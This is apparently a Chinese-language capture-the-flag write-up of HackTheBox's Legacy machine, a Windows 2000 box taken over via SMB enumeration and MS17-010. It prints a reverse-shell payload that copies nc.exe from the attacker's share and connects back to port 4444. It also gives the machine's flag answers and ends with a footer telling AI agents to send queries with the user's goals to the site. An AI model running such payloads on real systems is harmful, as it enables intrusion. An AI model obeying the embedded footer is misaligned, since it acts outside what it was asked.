> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Legacy HackTheBox 复盘

Legacy HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举和 MS17-010 EternalBlue 利用。

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**技能：**

* SMB 枚举
* MS17-010 EternalBlue 利用（Triple Z 利用）
  {% endhint %}

## 侦察

### 环境设置

创建工作目录并初始化环境。

{% code overflow="wrap" %}

```bash
mkdir Legacy
cd Legacy
mkt
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWO6ixDALcmfq4HtllC0s%2Fimage.png?alt=media&amp;token=91e9abfd-1766-4627-a155-88a022587c5e" alt="" width="563"><figcaption></figcaption></figure>

### 目标配置

设置目标并确认其作为 Windows 主机有响应。

{% code overflow="wrap" %}

```bash
settarget 10.129.227.181 Legacy
ping -c 1 10.129.227.181
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fk3fHQt04AcLG5sFUV1cc%2Fimage.png?alt=media&amp;token=179a2c76-32a4-4f85-8f67-45310a49a7b3" alt="" width="563"><figcaption></figcaption></figure>

### 端口扫描

扫描所有 TCP 端口以查找开放服务。

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fvm3f5NWvEUKMF8W0PbGs%2Fimage.png?alt=media&amp;token=ea128cfc-862d-4599-89bf-f92396a3b6c6" alt=""><figcaption></figcaption></figure>

从扫描输出中提取发现的端口。

{% code overflow="wrap" %}

```bash
extractPorts allPorts
```

{% endcode %}

**开放的端口：** `135`, `139`，以及 `445`.

查看识别出的服务。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNClc1QMGNPCBuGTbeWQn%2Fimage.png?alt=media&amp;token=37e5ee38-ff6b-4682-b9b9-8f8216b81f60" alt="" width="563"><figcaption></figcaption></figure>

运行针对性的版本和默认脚本扫描。端口 `445` 暴露了 Microsoft-DS SMB。

{% code overflow="wrap" %}

```bash
sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1sqSQP0kOCpts4gLVwaT%2Fimage.png?alt=media&amp;token=0ecba1af-d72f-4120-8c8d-feb6e18e095d" alt=""><figcaption></figcaption></figure>

### SMB 枚举

尝试匿名枚举和认证。两次尝试都失败了。

{% code overflow="wrap" %}

```bash
smbmap -H 10.129.227.181
smbclient -L 10.129.227.181 -N
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxRJKM9fBWpxwx7LJdlhK%2Fimage.png?alt=media&amp;token=c783cecf-44b0-417c-8039-dcbcd5e62fdc" alt="" width="563"><figcaption></figcaption></figure>

操作系统被识别为 Windows 2000，这是一个过时的 Windows 版本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F3MwOEYgDopqJMG9oCi1m%2Fimage.png?alt=media&amp;token=7b873e8e-19a9-4988-a7da-5af431b15b40" alt="" width="548"><figcaption></figcaption></figure>

### 漏洞研究

搜索影响 Windows 2000 的公开 SMB 利用：

`Windows 2000 LAN Manager exploit smb github`

有几个公开脚本针对这个旧版 Windows 的漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3B18VKEc7XwNtbsaI3V%2Fimage.png?alt=media&amp;token=b118ea65-834c-479d-a5a1-015cfc744167" alt=""><figcaption></figcaption></figure>

使用这个针对 Windows EternalBlue 漏洞的 Exploit-DB 资源。

{% embed url="<https://www.exploit-db.com/exploits/7132>" %}

使用 Nmap 脚本扫描来验证漏洞。

{% code overflow="wrap" %}

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

{% endcode %}

扫描确认目标存在漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4huIMGt2OdpOJfsn4xuf%2Fimage.png?alt=media&amp;token=a1984211-c107-4a75-8cf9-130f1d8c3541" alt=""><figcaption></figcaption></figure>

### 利用

使用以下 MS17-010 项目。

{% embed url="<https://github.com/worawit/ms17-010/>" %}

编辑 `zzzz` 文件。

将以下这一行注释掉：

{% code overflow="wrap" %}

```bash
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

{% endcode %}

复制 `nc.exe` 到工作目录中。

{% code overflow="wrap" %}

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

{% endcode %}

通过 SMB 共享当前目录以传输二进制文件。

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr1ZbLUzjqHfJwwSNtcWS%2Fimage.png?alt=media&amp;token=13ae723e-4c50-490c-a0fe-15eb37450500" alt="" width="563"><figcaption></figcaption></figure>

使用下面的 SMB 路径和反向 shell 命令更新脚本。

### 反向 Shell

在端口上启动监听器 `4444`.

{% code overflow="wrap" %}

```bash
rlwrap nc -nvlp 4444
```

{% endcode %}

将脚本中的命令替换为：

{% code overflow="wrap" %}

```bash
service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444')
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTs188RCk2JC5ULFMuomq%2Fimage.png?alt=media&amp;token=1c398e9c-3b47-403b-a8cc-b1bc193beffc" alt=""><figcaption></figcaption></figure>

### 标志

获取用户 flag。

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\john\Desktop\user.txt"
```

{% endcode %}

* e69af0e4f443de7e36876fda4ec7644f

该 shell 还提供了访问 Administrator 标志的权限。

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
```

{% endcode %}

* 993442d258b0e0ec917cae9e695d5713

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJRmsBEwGYMckLCzdpsX%2Fimage.png?alt=media&amp;token=e871c9c9-8c01-4b92-a82a-c16d95c79d94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fao1H1Vv1Y3iTttCs9lMR%2Fimage.png?alt=media&amp;token=f8112ef8-ee13-423f-a172-8b75880e305f" alt="" width="495"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
